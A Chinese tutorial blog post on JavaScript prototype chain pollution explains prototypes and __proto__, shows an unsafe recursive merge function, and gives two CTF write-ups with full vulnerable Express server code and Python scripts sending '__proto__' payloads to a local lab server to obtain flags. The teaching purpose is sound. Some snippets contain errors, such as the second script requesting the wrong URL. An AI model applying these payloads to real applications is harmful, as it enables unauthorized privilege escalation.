• 安全基础 --- 原型链污染


    原型链

    大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现

    1、prototype 属性的作用

    JavaScript 规定,每个函数都有一个prototype属性,指向一个对象

    1. function f() {}
    2. typeof f.prototype // "object"
    3. 函数`f`默认具有`prototype`属性,指向一个对象

    js中类的建立

    js 中,定义一个类,需以定义“构造函数”的方式来定义:

    1. function Foo() {
    2. this.bar = 1;
    3. }
    4. new Foo();
    解析:

    Foo函数的内容,就是Foo类的构造函数,this.bar就表示Foo类中的一个属性

    (为简化编写js的代码,ECmAScript6 后增加了class语法,但class其实只是一个语法塘)

    js中的类中方法的建立

    一个类中必然有一些方法,类似属性this.bar,也可将方法定义在构造函数内部

    1. function Foo() {
    2. this.bar = 1;
    3. this.show = function() {
    4. console.log(this.bar);
    5. }
    6. }
    7. (new Foo()).show() // 1
    解析:

    出现问题:新建Foo对象时,this.show = function()... 就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中

    js中原型prototype的引用

    在创建类时只创建一次show方法,需要使用原型(prototype)

    1. function Foo() {
    2. this.bar = 1;
    3. }
    4. Foo.prototype.show = function show() {
    5. console.log(this.bar);
    6. }
    7. let foo = new Foo();
    8. foo.show();
    解析:

    原型prototype是类Foo的一个属性,所有用Foo类实例化的对象,都有这个属性的所有内容,包括变量和方法。foo对象,天生具有foo.show()方法

    此时Foo.prototype访问Foo类的原型,但是Foo实例化出来的对象,不能够通过prototype访问原型

    2、__proto__

    是 JavaScript 中一个对象的内部属性,它指向该对象的原型。原型是另一个对象,包含共享的属性和方法,对象可以通过原型继承这些属性和方法。

    js 中__proto__的引用

    一个 Foo 类实例化出来的 foo 对象,可通过foo.__proto__属性来访问Foo类中的原型

    prototype和__proto__的定义

    1. prototype:一个类的属性,所有类对象在实例化的时候会拥有prototype中的属性和方法
    2. __proto__:一个对象的__proto__属性,指向这个对象所在的类的prototype属性

    3、原型链继承

    所有类对象在实例化的时候将会拥有 prototype 的属性和方法,这个特性被用来实现 js 中的继承机制

    1. function Father() {
    2. this.first_name = 'Donald';
    3. this.last_name = 'Trump';
    4. }
    5. function Son() {
    6. this.first_name = 'Melania';
    7. }
    8. Son.prototype = new Father();
    9. let son = new Son();
    10. console.log(`Name:${son.first_name} ${son.last_name}`)
    11. // Name:Melania Trump
    解析:

    Son类继承了Father类的last_name属性

    主要流程:

    1. 在对象son中寻找last_name
    2. 无法找出,则在son.__proto__中寻找last_name
    3. 如果仍然无法找到,则继续在son.__proto__.__proto__中寻找last_name
    4. 依次寻找,直到null结束。如:object.prototype的__proto__就是null

    (js 中的这个查找机制,被运用在面向对象的继承中,被称为是prototype继承链)

    PS:

    1. 每个构造函数(constructor)都有一个原型对象(prototype)
    2. 对象的__proto__属性,指向类的原型对象prototype
    3. js 使用prototype链实现继承机制

    4、原型链污染

    实例:

    foo.__proto__指向的是Foo类的prototype。若修改foo.__proto__中的值,就可修改Foo类?

    1. // foo是一个简单的JavaScript对象
    2. let foo = {bar:1};
    3. // foo.bar此时为1
    4. console.log(foo.bar);
    5. // 修改foo的原型(即object)
    6. foo.__proto__.bar = 2;
    7. // 查找顺序原因,foo.bar仍然是1
    8. console.log(foo.bar);
    9. // 此时用objecr创建一个空的zoo对象
    10. let zoo = {};
    11. // 查看zoo.bar
    12. console.log(zoo.bar);

    解析:

    修改 foo 原型foo.__proto__.bar = 2,而 foo 是一个object类的实例,所以实际上是修改了object这个类,给这个类增加了一个属性bar,值为2

    后来用object类创建了一个zoo对象,let zoo = {},zoo对象自然也有一个bar属性了

    原型链污染定义:

    如果攻击者控制并修改了一个对象的原型,那将可以影响所有和这个对象来自同一个类、父类的对象,这种攻击方式就是原型链污染

    哪些情况原型链会被污染?

    哪些情况可以设置__proto__的值?找到能够控制数组(对象)的“键名”的操作即可:

    使用megre测试
    1. function merge (target,source) {
    2. for(let key in source) {
    3. if(key in source && key in target){
    4. merge(target[key],source[key]);
    5. }else{
    6. target[key] = source[key];
    7. }
    8. }
    9. }

    merge操作是最常见可能控制键名的操作,也最能被原型链攻击

    在合并过程中,存在赋值的操作 target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

    使用如下代码进行测试:
    1. let o1 = {};
    2. let o2 = {a:1,"__proto__":{b:2}};
    3. merge(o1,o2);
    4. console.log(o1.a,o1.b);
    5. o3 = {};
    6. console.log(o3.b);

    结果:合并成功,原型链未被污染

    解析:

    js 创建 o2 的过程(let o2 = {a:2,"__proto__":{b:2}})中,__proto__代表o2的原型了,此时遍历o2的所有键名,拿到的是[a,b],__proto__并不是一个key,也不会修改object的原型

    修改代码
    1. let o1 = {};
    2. let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}');
    3. merge(o1,o2);
    4. console.log(o1.a,o2.b);
    5. o3 = {};
    6. console.log(o3.b);

    解析:

    JSON解析的情况下,__proto__会被认为是一个真正的“键名”,不代表原型,所以在遍历o2的时候存在这个键,

    新建的o3对象,也存在b属性,说明object已被污染

    实例

    例1:hackit2018

    1. const express = require('express')
    2. var hbs = require('hbs');
    3. var bodyParser = require('body-parser');
    4. const md5 = require('md5');
    5. var morganBody = require('morgan-body');
    6. const app = express();
    7. //目前user并没有admintoken
    8. var user = []; //empty for now
    9. var matrix = [];
    10. for (var i = 0; i < 3; i++){
    11. matrix[i] = [null , null, null];
    12. }
    13. function draw(mat) {
    14. var count = 0;
    15. for (var i = 0; i < 3; i++){
    16. for (var j = 0; j < 3; j++){
    17. if (matrix[i][j] !== null){
    18. count += 1;
    19. }
    20. }
    21. }
    22. return count === 9;
    23. }
    24. app.use(express.static('public'));
    25. app.use(bodyParser.json());
    26. app.set('view engine', 'html');
    27. morganBody(app);
    28. app.engine('html', require('hbs').__express);
    29. app.get('/', (req, res) => {
    30. for (var i = 0; i < 3; i++){
    31. matrix[i] = [null , null, null];
    32. }
    33. res.render('index');
    34. })
    35. app.get('/admin', (req, res) => {
    36. /*this is under development I guess ??*/
    37. console.log(user.admintoken);
    38. if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
    39. res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
    40. }
    41. else {
    42. res.status(403).send('Forbidden');
    43. }
    44. }
    45. )
    46. app.post('/api', (req, res) => {
    47. var client = req.body;
    48. var winner = null;
    49. if (client.row > 3 || client.col > 3){
    50. client.row %= 3;
    51. client.col %= 3;
    52. }
    53. matrix[client.row][client.col] = client.data;
    54. for(var i = 0; i < 3; i++){
    55. if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
    56. if (matrix[i][0] === 'X') {
    57. winner = 1;
    58. }
    59. else if(matrix[i][0] === 'O') {
    60. winner = 2;
    61. }
    62. }
    63. if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
    64. if (matrix[0][i] === 'X') {
    65. winner = 1;
    66. }
    67. else if(matrix[0][i] === 'O') {
    68. winner = 2;
    69. }
    70. }
    71. }
    72. if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
    73. winner = 1;
    74. }
    75. if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
    76. winner = 2;
    77. }
    78. if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
    79. winner = 1;
    80. }
    81. if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
    82. winner = 2;
    83. }
    84. if (draw(matrix) && winner === null){
    85. res.send(JSON.stringify({winner: 0}))
    86. }
    87. else if (winner !== null) {
    88. res.send(JSON.stringify({winner: winner}))
    89. }
    90. else {
    91. res.send(JSON.stringify({winner: -1}))
    92. }
    93. })
    94. app.listen(3000, () => {
    95. console.log('app listening on port 3000!')
    96. })
    解析:

    获取 flag 的条件是传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在;全文没有对user.afmintoken进行赋值,理论上这个值不存在,但存在以下赋值语句

    1. matrix[client.row][client.col] = client.data;
    2. 其中data、row、col,都是post传入的值,都是可控的。所以可构造原型链污染
    本地测试

    payload:使用python传入参数
    1. import requests
    2. import json
    3. url = "http://192.168.174.123:3000/api"
    4. url1 = "http://192.168.174.123:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"
    5. headers = {"Content-type": "application/json"}
    6. data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}
    7. res1 = requests.post(url, headers=headers, data=json.dumps(data))
    8. # json.dumps与json.parse是相同的
    9. res2 = requests.get(url1)
    10. print(res2.text)

    运行结果:

    例2:

    1. 'use strict';
    2. const express = require('express');
    3. const bodyParser = require('body-parser')
    4. const cookieParser = require('cookie-parser');
    5. const path = require('path');
    6. const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    7. function merge(a, b) {
    8. for (var attr in b) {
    9. if (isObject(a[attr]) && isObject(b[attr])) {
    10. merge(a[attr], b[attr]);
    11. } else {
    12. a[attr] = b[attr];
    13. }
    14. }
    15. return a
    16. }
    17. function clone(a) {
    18. return merge({}, a);
    19. }
    20. // Constants
    21. const PORT = 8080;
    22. const HOST = '0.0.0.0';
    23. const admin = {};
    24. // App
    25. const app = express();
    26. app.use(bodyParser.json())
    27. app.use(cookieParser());
    28. app.use('/', express.static(path.join(__dirname, 'views')));
    29. app.post('/signup', (req, res) => {
    30. var body = JSON.parse(JSON.stringify(req.body));
    31. var copybody = clone(body)
    32. if (copybody.name) {
    33. res.cookie('name', copybody.name).json({
    34. "done": "cookie set"
    35. });
    36. } else {
    37. res.json({
    38. "error": "cookie not set"
    39. })
    40. }
    41. });
    42. app.get('/getFlag', (req, res) => {
    43. var аdmin = JSON.parse(JSON.stringify(req.cookies))
    44. if (admin.аdmin == 1) {
    45. res.send("hackim19{}");
    46. } else {
    47. res.send("You are not authorized");
    48. }
    49. });
    50. app.listen(PORT, HOST);
    51. console.log(`Running on http://${HOST}:${PORT}`);
    解析:

    分析题目,获取flag的条件是:admin.admin == 1,而 admin 本身是一个 object ,其admin 属性本身并不存在,且有敏感函数 merge

    1. function merge(a, b) {    
    2. for (var attr in b) {        
    3. if (isObject(a[attr]) && isObject(b[attr])) {
    4.            merge(a[attr], b[attr]);
    5.       } else {
    6.            a[attr] = b[attr];
    7.       }
    8.   }    
    9. return a;
    10. }
    11. // merge函数的作用是进行对象的合并,涉及到对象的赋值,键值可控,即可出发原型链污染
    本地测试


    显式为undefined,如下

    创建字典时,__proto__不是作为键名,而是作为__proto__给其父类进行赋值,所以在test.__proto__中才有admin属性,目的是让__proto__作为键值,所以使用JSON.parse()


    JSON.parse()会将json字符串转化为JavaScript中的object

    此时创建类的时候就不会直接给父类赋值了 ,且题中也出现了JSON.parse

    payload:使用python传入参数
    1. import requests
    2. import json
    3. url1 = "http://192.168.174.123:3000/signup"
    4. url2 = "http://192.168.174.123:3000/getflag"
    5. s = requests.session()
    6. headers = {"Content-Type": "application/json"}
    7. data1 = {"__proto__": {"admin": 1}}
    8. res1 = s.post(url1, headers=headers, data=json.dumps(data1))
    9. res2 = s.get(url1)
    10. print(res2.text)

    运行结果:

    附:构造函数无return

    1. function Person(name,age){
    2. this.name = name;
    3. this.age = age;
    4. // PS:没有显式的return语句
    5. }
    6. const person1 = new Person("ling",22);
    7. console.log(person1); // output:Person(name:'ling',age:22)

    在第一个实例中,Person 构造函数没有显式的 return 语句,因此 new Person("ling",20) 将隐式地返回新创建的 Person 对象实例,并赋值给 person1 变量

    1. function AnotherPerson(name,age){
    2. this.name = name;
    3. this.age = age;
    4. return{message:"This is returned object."};
    5. }
    6. console.person2 = new AnotherPerson("Bob",25);
    7. console.log(person2);// output:{message:'This is returned object.'}

    第二个示例中,AnotherPerson 构造函数有一个显式的 return 语句,并返回了一个新的对象 {message:"This is a object."},在这种情况下,new AnotherPerson("Bob",25) 将返回一个新的对象,而不是创建的AnotherPerson对象实例。因此,person2 变量得到的是一个普通对象而不是AnotherPerson的实例。

  • 相关阅读:
    使用模板引擎时,Uncaught TemplateError报错原因小结
    领域驱动设计(Domain-Driven Design DDD)——通过重构找到深层次模型2
    phpword生成PDF
    TongWeb7本地部署(Windows)
    Relay Diffusion:霸占榜单的最强生成式模型
    001、Nvidia Jetson Nano Developer KIT(b01)-系统与登录
    Day28|Leetcode 93. 复原 IP 地址 Leetcode 78. 子集 Leetcode 90. 子集 II
    网络爬虫之爬虫原理
    C++ Primer学习笔记-----第二章:变量和基本类型
    当前就业环境下,程序员应该自降薪资应聘吗?
  • 原文地址:https://blog.csdn.net/weixin_62443409/article/details/132684553